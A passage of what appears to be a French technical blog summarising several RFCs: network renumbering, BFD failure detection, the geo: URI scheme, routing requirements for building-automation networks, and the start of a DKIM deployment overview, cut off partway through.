L'auto-configuration sans état d'IPv6 (SLAAC - StateLess Address AutoConfiguration) permet également une renumérotation facile, d'autant plus qu'elle a moins d'options. Par contre, si on utilise SLAAC et DHCP en même temps (RFC 8415), il faut prendre garde à leur interaction, qui n'est pas normalisée avec suffisamment de précision.
DHCP et SLAAC n'aident pas si les adresses sont marquées en dur dans la machine (par exemple pour éviter de dépendre du serveur DHCP), ou bien si la machine n'a pas de client DHCP. Cela arrive dans le monde de l'embarqué où l'adresse IP doit parfois se configurer par des commutateurs DIP.
DHCP (ou bien SLAAC) permettent de changer facilement l'adresse IP. Mais cela peut perturber les autres couches. Par exemple, TCP identifie une connexion par un tuple qui comprend entre autres les adresses IP source et destination (et la somme de contrôle les utilise donc on ne peut pas facilement les changer dans le dos de TCP). Renuméroter signifie qu'on casse les connexions TCP existantes (section 5.1.2). Ce n'est pas forcément un problème pour HTTP, où les connexions sont en général courtes, mais c'est bien plus gênant pour SSH. D'autres protocoles de transport permettent par contre la renumérotation (SCTP, RFC 4960) mais ils sont peu déployés.
Continuant à grimper vers les couches hautes, le RFC note que le DNS nécessite une attention particulière (section 5.1.3). Si les données servies par le DNS sont produites à partir d'une base de données centrale, l'opération de renumérotation est relativement simple. Il faut toutefois penser à abaisser le TTL à l'avance, pour éviter, une fois le changement fait, que les vieilles informations traînent dans les caches.
Si, par contre, le DNS est géré à l'ancienne, avec des fichiers de zone édités à la main, le DNS devient alors un problème de plus en cas de renumérotation. Si le DNS, comme c'est souvent le cas, est sous-traité, il y aura en plus une étape de coordination avec l'hébergeur.
Ensuite, il y a les problèmes liés aux applications proprement
dites, la couche 7 (section 5.1.4). Tous les
protocoles applicatifs n'ont pas les mêmes problèmes. Le RFC 3795 avait étudié 257 protocoles IETF
et découvert que 34 stockaient explicitement les adresses IP, ce qui
les rend peu utilisables en cas de renumérotation. (Le plus connu est
FTP, qui passe l'adresse IP dans la commande
PORT
, section 4.1.2 du RFC 969.) Mais
l'analyse des protocoles ne suffit pas, encore faut-il étudier le
comportement des applications elle-mêmes. Celles-ci stockent souvent
des adresses IP, sans penser qu'elles puissent changer.
Ainsi, beaucoup d'applications font du pinning :
elles résolvent le nom en adresse IP une seule fois et ne modifient
plus cette information, même si l'adresse IP a changé. À leur
décharge, il faut préciser que la routine standard
getaddrinfo()
ne fournit pas
d'information de durée de vie... (Le RFC suggère aux applications de
respecter le TTL du DNS en oubliant que
getaddrinfo
ne le transmet pas. Suivre ce conseil
nécessiterait donc que les applications fassent leur propres requêtes DNS.) Idéalement, l'application devrait
vérifier la validité de l'adresse (par exemple en refaisant
getaddrinfo()
à chaque ouverture de connexion
avec une machine distante).
Les applications les plus sensibles sont celles qui restent ouvertes longtemps, comme les navigateurs Web. Ceux-ci, en général, sont conscients du problème et ne gardent l'adresse IP que pendant un temps limité mais ils épinglent parfois délibérement cette adresse, pour des raisons de sécurité Javascript (cf. section 8). D'autres applications traitent le problème (ainsi que celui, plus général, d'une connectivité imparfaite) en essayant régulièrement et sur toutes les adresses possibles (les applications pair-à-pair font souvent cela). C'est non-trivial à développer.
Les dépendances des applications vis-à-vis des adresses IP sont souvent pires : par exemple, il existe des mécanismes de licence logicielle où la licence dépend de l'adresse IP... Plus légitimes, il y aussi les cookies HTTP liés à une adresse IP. (L'annexe A donne d'autres exemples.)
Mais le RFC note aussi que, par delà la limite de
getaddrinfo()
citée plus haut (pas d'information
sur la durée de vie d'une adresse), le problème des
API est plus général : celles-ci sont en
général de trop bas niveau, obligeant les applications à stocker des
adresses IP ce qui, en général, ne devrait pas être
nécessaire. La traditionnelle API
socket, conçue avant même le
DNS, est ainsi en tort. Dans le futur, il faut espérer que les
programmes utiliseront des API de plus haut niveau, n'exposant pas du
tout les adresses IP. C'est typiquement le cas en
Java et, en C, il existe
des bibliothèques pour cela comme libcurl.
Après les machines non-routeuses, place aux routeurs (section 5.2). Depuis le RFC 2072, où en sommes-nous ? Il y a eu des progrès mais des points soulevés par ce vieux RFC sont toujours d'actualité. Par exemple, pour la configuration des tunnels, bien que l'utilisation d'un nom de domaine pour configurer IPsec soit normalisée (RFC 4306, section 3.5), elle reste peu utilisée. La configuration du routeur contient ainsi les adresses IP des extrémités des tunnels, gênant ainsi la renumérotation.
La section 5.3 parcourt d'autres questions qui ne sont pas liées
aux routeurs ou aux machines terminales. Par exemple, la section 5.3.4
est un excellent et très concret examen des problèmes
d'administration système. La situation idéale
serait que l'information sur les machines, leurs connexions et leurs
adresses soient dans une base de données centrale et que tous les
fichiers de configuration soient fabriqués automatiquement à partir de
cette base. C'est loin d'être la réalité partout et, en pratique, la
renumérotation nécessite des grands coups de grep dans
/etc
(voire ailleurs) pour trouver toutes les
occurrences des vieilles adresses IP avant de les changer. Faites
l'essai sur votre site : dans combien de fichiers sont stockées vos
adresses ? Pour les règles du pare-feu, ou le
DNS, vous savez sans doute les trouver. Mais il y a aussi des adresses
IP à plein d'endroits surprenants, parfois chez des tiers.
Pourquoi les fichiers de configuration utilisent-ils si souvent des adresses IP lorsque des noms de domaine conviendraient ? Le RFC 1958, section 4.1, disait déjà en 1996 que c'était une mauvaise idée. C'est souvent le pur conservatisme qui empêche d'adopter cette bonne pratique. Mais il y a plusieurs bonnes raisons, l'une d'elles étant que la traduction de nom en adresse IP ne se fait souvent qu'une fois (par exemple, pour un routeur, au démarrage) et qu'il faudra donc de toute façon au moins redémarrer en cas de renumérotation. Une autre raison (RFC 1958, section 3.11), est pratique : si la configuration du routeur utilise des noms, il dépendra du DNS qui lui-même dépend du routage, créant ainsi une dépendance circulaire, source de problèmes.
Autre raison pour laquelle beaucoup d'administrateurs utilisent des adresses et pas des noms : la sécurité (section 5.3.5). Le DNS n'étant pas sûr (cf. RFC 3833), configurer un outil de sécurité, comme le pare-feu, via des noms n'est pas logique. Le déploiement de DNSSEC, plutôt rapide en ce moment, pourrait résoudre cette question.
Il reste bien des questions de sécurité liées à la rénumérotation, dans cette section 5.3.5 (voir aussi la section 8), comme le risque d'annonces de fausses adresses (presque personne n'utilise le RFC 3971) pendant l'opération, le risque lié à un pare-feu mis à jour trop tôt (et il bloquerait les anciennes adresses à tort) ou trop tard (bloquant les nouvelles adresses), les certificats X.509 contenant une adresse IP (RFC 5280)...
Quels sont les mécanismes nouveaux qui sont proposés pour faciliter les futures renumérotations, se demande la section 6 :
Et quels sont les « trous », les points qui manquent pour faire de la renumérotation un évenement banal et simple ? La section 7 les étudie successivement.
Il serait souhaitable, comme indiqué plus haut, que l'API indique la durée de vie d'une adresse (section 7.1). Une interface qui ne manipulerait que des noms serait encore meilleure.
Un moyen standard de stocker et de récupérer la configuration des machines serait également une grande aide (il existe déjà plein de moyens ad hoc et non standards). Cela concerne aussi bien les routeurs que les machines ordinaires, et cela pourrait utiliser Netconf.
Et peut-être pourrait-on étendre UDP et TCP de manière à les rendre multi-adresses (comme l'est SCTP).
Enfin, puisque ce RFC prend soin de ne pas oublier les considérations opérationnelles, la section 7.3 identifie les manques actuels dans ce domaine. D'abord, comme déjà cité, tant que DNSSEC n'est pas largement déployé, il sera difficile d'exiger des administrateurs système qu'ils renoncent à l'usage des adresses IP dans les fichiers de configuration.
Ensuite, nous devons pousser au déploiement de techniques d'administration système plus modernes, dépendant moins de l'édition manuelle de dizaines de fichiers avec vi.
Finalement, il reste à documenter et à écrire de jolis HOWTO sur la renumérotation d'un réseau... (Un exemple est « Preparing network configurations for IPv6 renumbering ».)
Quelques conseils pratiques personnels, tirés de l'expérience de renumérotations réussies ou ratées :
Sur beaucoup de sites, simplement déterminer tous les endroits où l'adresse IP est marquée peut être difficile. grep aide évidemment beaucoup mais, pour des recherches dans toute une arborescence, je préfère ack-grep, par exemple, avec l'adresse IPv4 actuelle de la machine qui héberge ce blog :
% sudo ack --all 208\.75\.84\.80 apache2/vhosts.d/drupal.example.net.conf 74: Allow from 208.75.84.80 conf.d/net 3:config_eth0=( "208.75.84.80 netmask 255.255.255.0 broadcast 208.75.84.255" ) nsd/nsd.conf 17: ip-address: 208.75.84.80
Pas mal : une renumérotation ne devrait pas être trop dure. Vous noterez que l'adresse IP n'apparait pas dans la configuration du pare-feu : Shorewall la trouve tout seul, supprimant un problème de mise à jour.
En conclusion, une analyse personnelle : l'état de la technique aujourd'hui, avec les grandes difficultés de renumérotation qui existent, justifie amplement l'existence des adresses PI, même si les gros opérateurs, dans leurs forums comme le RIPE-NCC, les regardent souvent comme un luxe. Comme renuméroter est difficile, s'il n'existait que des adresses PA, les utilisateurs auraient beaucoup de mal à changer de fournisseur...
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : D. Katz (Juniper), D. Ward (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF bfd
Première rédaction de cet article le 1 juin 2010
Le protocole de détection BFD, normalisé dans le RFC 5880, permet plusieurs applications. La plus évidente est la détection de la panne d'une machine voisine et c'est celle que normalise notre RFC 5881.
Traditionnellement, la détection de la panne d'un voisin se faisait
lorsqu'il arrêtait d'envoyer certains messages, par exemple les
paquets Hello
pour un voisin
OSPF. Mais cette méthode est souvent
lente. BFD (RFC 5880) spécifie un
mécanisme générique de détection, indépendant des protocoles de
routage et du lien physique. BFD permet plusieurs applications dont,
pour notre RFC 5881, la connectivité avec un
voisin immédiat (« immédiat » au sens IP, pas forcément au sens physique). Cette
application fonctionne avec IPv4 ou
IPv6, mais sur des sessions BFD séparées.
Si la fonction d'écho de BFD est employée, la section 2 note qu'il faut penser à désactiver les filtres du RFC 2827, incompatibles avec la façon dont cette fonction marche.
À quoi ressemblent les paquets de cette application ? Comme indiqué en section 4, ce sont des paquets UDP utilisant le port 3784 - et 3785 pour la fonction d'écho. BFD emploie IP de manière assez... créative et nécessite donc des précautions particulières, notamment pour éviter que des paquets de redirection (ICMP redirect) soient envoyés. Ainsi, la section 4 prévient que l'adresse IP source, paradoxalement, ne devrait pas être une adresse légale du sous-réseau utilisé (ni, en IPv6, une adresse locale au lien). Mettre en œuvre BFD, sur certains systèmes d'exploitation, peut donc être difficile, puisque ce protocole nécessite de court-circuiter pas mal de fonctions normales d'IP.
La section 5 précise les TTL à utiliser. Si on ne se sert pas des fonctions d'authentification de BFD, il faut limiter les risques d'usurpation en mettant un TTL de 255, la valeur maximale. Comme le TTL est diminué par chaque routeur, la réception d'un paquet avec ce TTL prouvera que le paquet vient bien du lien local (cf. section 9 et RFC 5082).
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : D. Katz (Juniper Networks), D. Ward (Cisco Systems)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF bfd
Première rédaction de cet article le 1 juin 2010
Le tout nouveau protocole BFD est un protocole très générique de test de la liaison entre deux routeurs, de manière à ce qu'ils puissent déterminer qu'ils sont encore capables de se passer des paquets. Son originalité est d'être indépendant du type de liaison physique, ainsi que des protocoles de routage.
Les routeurs ont toujours
besoin de savoir si les autres routeurs sur le même réseau sont
joignables, afin de pouvoir calculer une route alternative. Certaines
liaisons physiques fournissent très rapidement une indication en cas
de panne (SONET), d'autres peu ou pas du tout
(Ethernet). Les routeurs utilisent donc en
général une fonction du protocole de routage, comme la fonction
Hello
de OSPF. Le principe
est de s'envoyer des messages régulièrement. Si on n'a pas entendu un
routeur voisin depuis deux ou trois périodes, c'est qu'il est en panne
(section 1 du RFC). Mais ces mécanismes ne fonctionnent que s'il y a
un protocole de routage (ce n'est pas toujours le cas, il existe des
routes statiques), ils ne testent que la communication entre les
control engines des routeurs, la partie qui gère
les protocoles de routage, pas la communication entre les
forwarding engines, la partie qui commute
effectivement les paquets (ces deux parties sont souvent radicalement
séparés sur un routeur et peuvent donc tomber en panne
séparement). Enfin, ces mécanismes sont typiquement trop lents à
détecter les pannes.
D'où BFD, présenté dans la section 2 de notre nouveau RFC. BFD est une fonction du forwarding engine pour être sûr qu'il teste la capacité des routeurs à transmettre les paquets, et pour survivre au redémarrage d'un protocole de routage. Il ne dépend pas de fonctions du lien physique comme la diffusion, pour pouvoir fonctionner sur tous les types de liens physiques.
La section 3 décrit le fonctionnement du protocole. Comme les
autres systèmes de type Hello
, chaque routeur BFD
envoie périodiquement à ses voisins des paquets pour dire « Tout va
bien ». Lorsqu'on ne les reçoit plus, on sait que le routeur est
planté. La durée entre deux paquets est modifiable dynamiquement, afin
de garantir un temps de détection de panne aussi court que possible,
sans pour autant trop surcharger le réseau par des paquets
Hello
.
BFD a deux modes de fonctionnement (section 3.2), asynchrone, où
chaque routeur envoie ses paquets Hello
sans se
préoccuper de l'autre et synchrone (Demand mode,
cf. section 6.6) où le routeur n'envoie rien par
défaut, il attend une sollicitation « Tu es toujours là ? ». En outre,
BFD dispose d'une fonction Echo
où le routeur qui
reçoit un paquet BFD répond aussitôt. Cette fonction est utilisable
avec les deux modes. Elle peut être coûteuse en nombre de paquets mais
elle teste réellement tout le chemin à travers le forwarding
plane (la machinerie qui commute et transmet les paquets) du
routeur cible. La même section 3.2 discute les avantages et les
inconvénients de chaque mode, ainsi que ceux d'une utilisation de la
fonction Echo
(sur cette fonction, voir aussi les
sections 5 et 6.4, qui précise notamment qu'echo
est asymétrique, elle peut être activée dans une direction seulement).
Les paquets BFD sont envoyés dans le contexte d'une session et l'établissement de cette session nécessite un mécanisme de contrôle. Le format des paquets qui le réalisent est exposé en section 4. Un paquet BFD a plusieurs champs (section 4.1) dont deux discriminateurs, des nombres qui identifient les sessions à bord des deux routeurs (chaque paquet comprend le discriminateur mis par la source et, s'il est connu, celui pertinent pour la destination ; le discriminateur identifie la session, pas le routeur). Une authentification simple est possible (sections 4.2 à 4.4 et 6.7).
Une fois le format défini, que doivent faire les deux routeurs pour envoyer et traiter correctement les paquets BFD ? C'est l'objet de la section 6. D'abord, il faut décider de lancer le service. Un des routeurs le sollicite, il est actif (l'autre est passif). L'actif envoie des paquets de contrôles, informant de son désir de commencer une session, et indiquant le discriminateur (cf. section 6.3). Des paramètres comme le mode (synchrone ou asynchrone) et le rythme d'envoi de paquets (section 6.8.2) sont alors négociés. L'envoi de paquets continue alors, selon les paramètres sélectionnés. La session est considérée comme en panne s'il n'y a pas de réponse.
La machine à états du protocole (très simple) est décrite en section 6.2.
Enfin, en pratique, l'expérience du déploiement d'autres protocoles justifie qu'une section, la 7, soit consacréee aux problèmes opérationnels. Par exemple, les paquets BFD circulant directement sur la couche 2, sans passer par un protocole de couche 3 (ce qui sera sans doute un cas courant), risquent d'être bloqués par certains pare-feux et il faut donc veiller à la configuration de ceux-ci. Il y a aussi un problème analogue pour tous les mécanismes de shaping. Limiter le rythme de transmission des paquets BFD (qui doivent normalement être considérés comme du trafic temps réel) pourrait interférer avec leur fonction de détection des pannes.
Autre question pratique de grande importance, la sécurité. Si tout se passe bien, BFD deviendra une partie essentielle de l'infrastructure réseau. Une attaque contre BFD pourrait donc avoir des effets très étendus, par exemple en réalisant une DoS si un attaquant peut bloquer la réception des paquets BFD. D'où la section 9 sur la sécurité. Ainsi, pour ne citer qu'un exemple, si on fait passer BFD sur un protocole de couche 3 comme IP, un paquet BFD imité, avec une fausse adresse IP source, serait trivial à fabriquer et à envoyer au routeur victime. Lorsque les routeurs parlant BFD sont adjacents (situés sur le même réseau physique), il faut donc mettre le TTL à la valeur maximale et vérifier qu'elle n'a pas été décrémentée (technique GTSM, décrite dans le RFC 5082).
Et les implémentations ? Les routeurs Juniper l'ont depuis longtemps (version 8.3 de JunOS), ainsi que les Brocade et les Cisco. Pour les deux premiers, BFD fonctionne aussi en multi-hop, cf. RFC 5883. Voici par exemple sur un Brocade :
telnet@ro=1#show bfd neighbors bgp Total Entries:8 R:RxRemote(Y:Yes/N:No)H:Hop(S:Single/M:Multi) ....
Il y a aussi une implémentation dans Linux avec kbfd et une autre libre, OpenBFDd. Merci à Ludovic Boué pour ses précisions.
Date de publication du RFC : Juin 2010
Auteur(s) du RFC : A. Mayrhofer (IPCom), C. Spanring
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF geopriv
Première rédaction de cet article le 7 juin 2010
Dernière mise à jour le 7 juillet 2010
Ce RFC normalise un nouveau
plan pour les URI,
geo
, qui permet de représenter l'information
concernant la latitude et la
longitude sous la forme d'un URI, par exemple geo:13.4125,103.8667
.
Le projet « plan geo » est un vieux projet de
normalisation des URI de localisation géographique. En l'absence d'un
tel plan, beaucoup de gens utilisaient des URI
http
comme ceux de Google Maps, ou bien des mécanismes spécifiques à un certain
format (cf. section 1 du RFC). Ainsi, la cathédrale
Saint-Étienne à Vienne, qui se notait souvent http://maps.google.com/maps?f=q&source=s_q&hl=fr&sspn=0.355096,0.500565&ie=UTF8&ll=48.208223,16.372687&spn=0.00281,0.003911&t=h&z=18
sera désormais
geo:48.208333,16.372778
. Un tel URI est-il
utilisable ? Oui, si on a l'extension Firefox
appropriée (cf. http://geouri.org/2007/02/26/firefox-extension-handles-geo-uri/
mais la version actuelle est bien vieille et ne marche pas avec les
Firefox récents). Comme expliqué par la section 5 du RFC, on pourrait
imaginer d'autres applications. Un tel mécanisme va certainement aider tous ceux qui manipulent des
informations géographiques sur l'Internet, par exemple le remarquable
projet OpenStreetMap qui permettrait d'écrire
le lien ci-dessus http://www.openstreetmap.org/?lat=48.208333&lon=16.372778&zoom=40
.
D'autres exemples et scénarios d'usage figurent dans la section
6. Outre la création d'hyperliens classiques pointant vers
un service de cartographie (section 6.2), on peut imaginer des
code-barres 2D codant un URI
geo
(section 6.3) et permettant à un
smartphone avec un GPS d'afficher l'itinéraire vers
l'endroit indiqué.
Les sections 1 et 2 exposent les principes de base de ce plan, notamment le choix du système de coordonnées WGS 84, entre autre parce que c'est celui du GPS. La syntaxe des URI permettra l'indication d'autres systèmes plus tard mais, pour l'instant, WGS 84 est le système officiel. Dans WGS 84, un point est représenté par une latitude, une longitude et une altitude.
La section 3 est l'enregistrement officiel du plan auprès de
l'IANA dans le registre
des plans d'URI, suivant les règles du RFC 4395. Elle inclus la syntaxe formelle des URI (section 3.3). De
manière résumée, un URI geo
comprend la chaîne de
caractères geo:
suivie de deux ou trois nombres,
séparés par des virgules. Le premier est la latitude (en
degrés décimaux), le second la
longitude (idem) et le troisième (optionnel) l'altitude (en mètres). Ainsi, geo:90.0,0.0,100
désigne un point à cent mètres au dessus du
Pôle Nord (cf. section 3.4.2 pour les détails
et, attention, WGS 84 mesure l'altitude par rapport au
géoïde, pas par rapport au niveau de la mer,
cf. section 3.4.5).
Un paramètre optionnel (et dont l'usage est actuellement
déconseillé), crs=
, permettra d'indiquer d'autres
systèmes de coordonnées que WGS 84. Un autre paramètre optionnel,
u=
indique l'incertitude
sur la mesure (section 3.4.3).
Une utilisation courante des URI est la
comparaison. Ces deux URI sont-ils équivalents ? La section 3.4.4
répond à cette question, moins évidente qu'il n'y parait. La
comparaison de deux URI geo
ne signifie pas en
effet qu'ils désignent le même point (ce qui serait trop compliqué à
déterminer) mais est plus restrictive que cela : deux URI
geo
sont identiques si tous les nombres sont
rigoureusement les
mêmes. Donc, geo:45.0,-10.0
est identique à
geo:45,-10
mais la fonction de comparaison
n'essaie pas d'utiliser le paramètre u=
(l'incertitude) pour considérer que deux points sont proches... (Voir
aussi la section 6.4.)
À noter qu'il existe déjà des moyens de noter une position
géographique dans un langage formel. Une des plus connues est
GML et la section 7 indique comment convertir
entre les URI geo
et les éléments
<Point>
de GML. Ainsi, le code GML :
<gml:Point srsDimension="2" srsName="urn:ogc:def:crs:EPSG:6.6:4326"> <gml:pos>49.40 -123.26</gml:pos> </gml:Point>
deviendrait l'URI geo:49.40,-123.26
. Et, si vous
vous demandez où c'est, voyez http://www.openstreetmap.org/?lat=49.4&lon=-123.26&zoom=10
.
Même si le RFC ne le cite pas, il y avait aussi le mécanisme ICBM addresses, plus primitif (apparemment pas de norme écrite, pas d'indication de l'altitude, résolution plus faible...)
Deux nouveaux registres
IANA
créés (sections 4 et 8), pour stocker les paramètres possibles et les
valeurs admises pour les paramètres : https://www.iana.org/assignments/geo-uri-parameters/geo-uri-parameters.xhtml
.
Les mises en œuvre de ce RFC sont encore rares et une liste
figure sur le site de
référence. Mais les progrès que ce plan d'URI sont cruciaux :
Comme le note Nicolas Krebs, utiliser geo:
permet
de s'affranchir d'un fournisseur. Ce plan d'adresse est neutre quand au service
cartographique utilisé. C'est l'utilisateur qui fait ce choix.
geo:48.208333,16.372778
est à http://maps.google.com/maps?ll=48.208223,16.372778
ce que news:hrctmq$ua8$1@news.le-studio75.com
(RFC 5538) est à
http://groups.google.com/group/fr.usenet.divers/msg/cf1d3bd076ba6559
.
Date de publication du RFC : Juin 2010
Auteur(s) du RFC :
J. Martocci (Johnson Controls), Pieter De Mil
(Ghent University), W. Vermeylen (Arts Centre
Vooruit), Nicolas Riou (Schneider Electric)
Pour information
Réalisé dans le cadre du groupe de travail IETF roll
Première rédaction de cet article le 12 juin 2010
Nouveau « cahier des charges » du groupe de travail ROLL de l'IETF, ce RFC décrit les exigences du protocole de routage des réseaux difficiles (peu de courant et beaucoup de parasites), pour le cas des immeubles de bureaux. Le cas de la maison avait été traité dans le RFC 5826.
Les immeubles de bureaux sont remplis de systèmes techniques complexes, collectivement dénommés HVAC (pour Heating, Ventilation and Air Conditioning, même s'il faut ajouter les ascenseurs, les alarmes incendie, l'éclairage, etc). Ces systèmes tendent de plus en plus à être informatisés, puis à communiquer entre eux, ou bien avec une centrale de contrôle. Les exigences particulières de cet environnement (par exemple le fait que certains appareils fonctionnent sur batterie et ne doivent donc pas gaspiller l'énergie) font que les mécanismes de routage IP traditionnels ne sont pas forcément adaptés.
Autrefois, de tels systèmes étaient connectés, comme le rappelle le RFC, par un lien pneumatique, maintenant, c'est un réseau informatique local, qui doit pouvoir être partitionné en sous-réseaux, reliés par des routeurs. Notre RFC se penche donc sur le futur protocole de routage.
J'ai parlé d'une centrale de contrôle. En fait, il s'agit d'un système de contrôle bien plus complexe, en général dénommé FMS (pour Facility Management System, en Europe, on dit plutôt BMS pour Building Management System, et GTB en français) et qui a la lourde responsabilité de piloter des immeubles allant jusqu'au gratte-ciel de cent étages et de cent mille mètres carrés de surface totale (à noter que le RFC, suivant les mœurs du BTP états-unien, utilise encore les pieds carrés...) ou bien à des immeubles très complexes comme le Pentagone.
La section 3 du RFC décrit l'organisation générale d'un FMS. En 3.2, on découvre le bestiaire qui peuple un immeuble de bureaux (capteurs, contrôleurs, etc). En 3.3, les méthodes utilisées pour l'installation de cet équipement. Le réseau informatique traditionnel est installé en commençant par le câblage, puis les équipements actifs, puis enfin les terminaux. Le FMS, au contraire, croît à partir d'équipements installés immédiatement, puis connectés petit-à-petit et ensuite reliés aux systèmes centraux, voire au réseau informatique « normal » (voir aussi section 5.6). Les raisons de cette méthode sont en bonne partie organisationnelles : tous les corps de métier n'accèdent pas au bâtiment en même temps. D'autre part, certains systèmes de sécurité (comme la détection incendie) doivent être en place très tôt dans la vie de l'immeuble, avant qu'on ne branche l'électricité partout. Le système de détection du feu ne peut donc pas compter sur des serveurs DNS ou DHCP déjà en place.
Enfin, la section 3.4, très détaillée et où le lecteur informaticien qui n'a pas d'expérience du bâtiment apprendra bien des choses, explique les problèmes spécifiques liés à la densité des machines. Par exemple, la tendance actuelle à la vidéo-surveillance a nettement accru le nombre de caméras, et celles-ci sont inégalement réparties. Autrefois, de tels systèmes utilisaient des réseaux fermés mais, aujourd'hui, c'est de plus en plus souvent un bête réseau IP qui connecte les caméras. (Elles posent d'autres problèmes, comme le débit de données important qu'elles fournissent, par rapport aux équipements FMS traditionnels.)
Tiens, à propos de capacité nécessaire, quelles sont les caractéristiques du trafic des équipements de l'immeuble ? La section 4 analyse quantitativement (200 octets pour un message typique au contrôleur, envoyé toutes les minutes..., 30 % des paquets restent sur le réseau local et 70 % ont besoin d'être routés...) et qualitativement (lors d'une coupure de courant, le plus dur est la reprise, lorsque les machines alimentées par batterie vont tout à coup essayer de transmettre les données qu'elles avaient stockées) le trafic sur le réseau du FMS.
Puis le cœur de notre RFC, la section 5, expose le cahier des charges proprement dit. Comme l'installation est souvent faite par des non-informaticiens (des électriciens, par exemple), tout le réseau doit pouvoir être auto-configurable, sans aucune action humaine (section 5.1.1). Le routage doit pouvoir commencer tout de suite (section 5.1.2), sans intervention d'un administrateur réseaux.
Le réseau doit pouvoir fonctionner pour des immeubles de cent mille mètres carrés. Le RFC demande que les protocoles marchent avec des réseaux de deux mille machines, dont la moitié routent des paquets pour le compte des autres (section 5.2.1). Un sous-réseau (par exemple une pièce) doit accepter 255 machines. Et chaque machine doit pouvoir parler directement à n'importe quelle autre, en pair-à-pair. Par exemple, si les tours de refroidissement sont sur le toit et le refroidisseur dans le sous-sol, vue sa taille, ils doivent néanmoins pouvoir se parler (section 5.2.2).
La plupart des machines dans l'immeuble sont fixes, accrochés au mur ou dans un faux plafond. Il n'y a donc pas d'énormes exigences de mobilité (section 5.3). Toutefois, les équipements mobiles se répandent et le RFC ajoute donc quelques demandes pour eux :
Les équipements de l'immeuble sont souvent très limités dans leurs ressources matérielles. La section 5.4 liste donc les règles à suivre pour ne pas les épuiser :
Il existe aussi des exigences pour la sélection des routes. Ainsi, le RFC demande que les applications prioritaires (alarme incendie, par exemple) puissent prendre le pas sur les autres (section 5.7.7).
Enfin, le cahier des charges se conclut par une longue section sur la sécurité (section 5.8). D'abord, s'il y a une configuration de la sécurité, celle-ci doit pouvoir être faite via le réseau (beaucoup d'équipements seront en effet peu accessibles). Cette configuration par le réseau est délicate à réaliser mais nécessaire puisque le même équipement peut être installé dans des immeubles aux règles de sécurité très variables (petite entreprise banale vs. bâtiment Seveso). Idéalement, toute communication devrait être chiffrée, puisqu'on ne peut pas espérer qu'il n'y ai jamais de méchant indiscret sur le trajet. Mais, d'un autre côté, les équipements installés dans l'immeuble ont souvent des moyens limités et la cryptographie coûte cher. Le RFC demande donc simplement que les deux arguments, de sécurité et d'économie, soient pris en considération.
Une autre règle sur le chiffrement (section 5.8.3) est que les protocoles développés par le groupe ROLL doivent inclure le chiffrement mais cela n'implique pas que l'implémentation le permette, ni que le responsable sécurité l'active obligatoirement.
Un cahier des charges tourne toujours facilement à la « lettre au Père Noël », où on accumule des dizaines de demandes toutes plus irréalistes que les autres. La valeur d'un bon cahier des charges n'est donc pas dans les demandes mais plutôt dans ce que les auteurs ont eu le courage d'écarter. Pour ce RFC, ces exigences non retenues ont fini dans l'annexe A : intéressantes idées mais qui ne sont pas considérées par le groupe de travail ROLL comme obligatoires. Par exemple, la section A.3.5 dit que cela serait sympa si le protocole de routage permettaient à certains routeurs, les plus limités en mémoire, de ne garder qu'une partie des routes. La A.4.1 voudrait bien imposer une limite basse de capacité à 20 Kb/s...
Merci à Nicolas Riou pour sa relecture (mais, bien évidemment, les erreurs sont de moi).
Date de publication du RFC : Mai 2010
Auteur(s) du RFC : T. Hansen (AT&T Laboratories), E. Siegel, P. Hallam-Baker (Default Deny Security), D. Crocker (Brandenburg InternetWorking)
Pour information
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 27 mai 2010
Le mécanisme de signature (et donc d'authentification) du courrier DKIM a été normalisé dans le RFC 4871 puis dans le RFC 6376. Ce nouveau RFC fait le point sur les aspects pratiques du déploiement de DKIM. Il ne s'agit pas encore vraiment d'un retour d'expérience (DKIM n'est pas encore assez utilisé pour cela) mais plutôt d'une collection de points auxquels il faut prêter attention quand on développe du logiciel DKIM ou quand on déploie DKIM.
La section 2 considère le problème générale d'authentification : que garantit DKIM exactement ? La lutte anti-spam aujourd'hui est unilatérale : le destinataire accepte ou refuse selon ses critères. Ces critères sont arbitraires, souvent absurdes (comme la vérification de l'enregistrement PTR) et produisent aussi bien des faux positifs que des faux négatifs. DKIM tente d'introduire une notion de confiance entre deux parties qui essaient de communiquer. L'expéditeur signe ses messages et, après vérification de sa signature, il peut espérer une délivrance déterministe de ses messages. Bon, cet objectif est loin d'être réalisé, mais c'est l'idée (exprimée en des termes très abstraits, qui sont la marque de l'auteur Philip Hallam-Baker, qui n'est pas toujours facile à suivre).
Donc, DKIM permet d'identifier et d'authentifier une organisation responsable (Responsible Identifier, dit le RFC). Celle-ci peut être précise et affecter une étiquette particulière à différents types de messages (par exemple, pour un vendeur en ligne, le courrier de confirmation des commandes peut etre étiqueté différemment du courrier publicitaire, ce dernier ayant probablement une moins bonne réputation). Bien sûr, cette authentification ne dit pas que le message est véridique, correct ou intéressant. Elle dit simplement que telle organisation en prend la responsabilité (et elle permet de vérifier qu'il n'y a pas d'usurpation). Le dessin de la section 2.1 illustre la complexité des relations entre les différents acteurs.
À noter que, pour DKIM, « le message » inclus les
en-têtes comme From:
donc DKIM ne garantit pas du
tout que le courrier prétendant venir de
faispaslemalin@elysee.fr
vient vraiment de
l'Élysée. (Ce point va probablement dérouter
beaucoup d'utilisateurs, cf. section 2.4, qui insiste bien sur le fait
que l'identité DKIM peut n'avoir aucun rapport avec les identités
existantes dans le message.)
Alors, justement, qui est responsable du message ? Ce point est
couvert dans la section 2.2, choix des paramètres. Il en existe
plusieurs dans DKIM (s=
, d=
et i=
) et la confusion avait même nécessité la
sortie d'un RFC de correction, le RFC 5672. Donc, pour résumer, c'est le paramètre
d=
qui est le seul obligatoire et qui doit donc
être rempli. Voici un exemple d'un message envoyé sur une liste de
diffusion, par un utilisateur du domaine
assysm.com
:
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=cru.fr; h=from:sender:reply-to:subject:date:message-id:to:cc:list-id:list-help:list-unsubscribe:list-subscribe:list-post:list-owner:list-archive:in-reply-to:references:resent-date:resent-from:resent-sender:resent-to:resent-cc:resent-message-id:mime-version:content-type:content-transfer-encoding:content-id:content-description; s=lists; i=smtp-fr-request@cru.fr; bh=uoq1oCgLlTqpdDX/iUbLy7J1Wic=; ...
On n'y voit pas du tout le domaine expéditeur (qui ne signe
probablement pas avec DKIM) mais par contre le service de listes de
